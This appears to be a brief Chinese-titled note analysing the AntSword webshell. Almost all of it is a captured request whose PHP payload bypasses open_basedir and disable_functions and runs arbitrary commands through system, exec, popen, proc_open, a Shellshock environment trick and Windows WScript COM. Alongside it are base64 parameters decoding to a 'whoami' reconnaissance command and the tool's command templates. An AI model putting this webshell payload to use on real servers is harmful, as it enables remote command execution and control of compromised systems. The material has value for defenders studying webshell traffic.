蚁剑的分析和利用

f72002fb14c8e8 = SEY2QgL2QgIkM6L3BocHN0dWR5X3Byby9XV1cveWpmeiImd2hvYW1pJmVjaG8gOGIyMjZlNDQmY2QmZWNobyA5ZGI3Zjg4Yzg3 & lefdf77c8e3d95 = yBY21k & pota123 = @ini_set("display_errors", "0");@set_time_limit(0);$opdir = @ini_get("open_basedir");if ($opdir) {    $oparr = preg_split("/\\\\|\//", $opdir);    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);    $tmdir = ".5062e111e";@    mkdir($tmdir);@    chdir($tmdir);@    ini_set("open_basedir", "..");    for ($i = 0; $i < sizeof($oparr); $i++) {@        chdir("..");    }@    ini_set("open_basedir", "/");@    rmdir($ocwd.        "/".$tmdir);};
function asenc($out) {    return $out;};
function asoutput() {    $output = ob_get_contents();    ob_end_clean();    echo "6d29".    "1125";    echo@ asenc($output);    echo "699".    "aa2b";}ob_start();try {    $p = base64_decode(substr($_POST["lefdf77c8e3d95"], 2));    $s = base64_decode(substr($_POST["f72002fb14c8e8"], 2));    $envstr = @base64_decode(substr($_POST["w641c9ee55f10c"], 2));    $d = dirname($_SERVER["SCRIPT_FILENAME"]);    $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";    if (substr($d, 0, 1) == "/") {@        putenv("PATH=".getenv("PATH").            ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");    } else {@        putenv("PATH=".getenv("PATH").            ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");    } if (!empty($envstr)) {        $envarr = explode("|||asline|||", $envstr);        foreach($envarr as $v) {            if (!empty($v)) {@                putenv(str_replace("|||askey|||", "=", $v));            }        }    }    $r = "{$p} {$c}";
    function fe($f) {        $d = explode(",", @ini_get("disable_functions"));        if (empty($d)) {            $d = array();        } else {            $d = array_map('trim', array_map('strtolower', $d));        }        return (function_exists($f) && is_callable($f) && !in_array($f, $d));    };
    function runshellshock($d, $c) {        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {            if (strstr(readlink("/bin/sh"), "bash") != FALSE) {                $tmp = tempnam(sys_get_temp_dir(), 'as');                putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");                if (fe('error_log')) {                    error_log("a", 1);                } else {                    mail("a@127.0.0.1", "", "", "-bv");                }            } else {                return False;            }            $output = @file_get_contents($tmp);@            unlink($tmp);            if ($output != "") {                print($output);                return True;            }        }        return False;    };
    function runcmd($c) {        $ret = 0;        $d = dirname($_SERVER["SCRIPT_FILENAME"]);        if (fe('system')) {@            system($c, $ret);        }        elseif(fe('passthru')) {@            passthru($c, $ret);        }        elseif(fe('shell_exec')) {            print(@shell_exec($c));        }        elseif(fe('exec')) {@            exec($c, $o, $ret);            print(join("", $o));        }        elseif(fe('popen')) {            $fp = @popen($c, 'r');            while (!@feof($fp)) {                print(@fgets($fp, 2048));            }@            pclose($fp);        }        elseif(fe('proc_open')) {            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);            while (!@feof($io[1])) {                print(@fgets($io[1], 2048));            }            while (!@feof($io[2])) {                print(@fgets($io[2], 2048));            }@            fclose($io[1]);@            fclose($io[2]);@            proc_close($p);        }        elseif(fe('antsystem')) {@            antsystem($c);        }        elseif(runshellshock($d, $c)) {            return $ret;        }        elseif(substr($d, 0, 1) != "/" && @class_exists("COM")) {            $w = new COM('WScript.shell');            $e = $w - > exec($c);            $so = $e - > StdOut();            $ret. = $so - > ReadAll();            $se = $e - > StdErr();            $ret. = $se - > ReadAll();            print($ret);        } else {            $ret = 127;        }        return $ret;    };    $ret = @runcmd($r.        " 2>&1");    print($ret != 0) ? "ret={$ret}" : "";;} catch (Exception $e) {    echo "ERROR://".$e - > getMessage();};asoutput();die(); & w641c9ee55f10c = Ut

f72002fb14c8e8=SEY2QgL2QgIkM6L3BocHN0dWR5X3Byby9XV1cveWpmeiImd2hvYW1pJmVjaG8gOGIyMjZlNDQmY2QmZWNobyA5ZGI3Zjg4Yzg3&lefdf77c8e3d95=yBY21k&pota123=@ini_set("display_errors", "0")

cd /d "C:/phpstudy_pro/WWW/yjfz"&whoami&echo 8b226e44&cd&echo 9db7f88c87

`cd "${path}";${cmd};echo [S];(pwd).path;echo [E]` : `cd /d "${path}"&${cmd}&echo [S]&cd&echo [E]` : `cd "${path}";${cmd};echo [S];pwd;echo [E]`);

cd /d "C:/phpstudy_pro/WWW/yjfz"&whoami&echo 8b226e44&cd&echo 9db7f88c87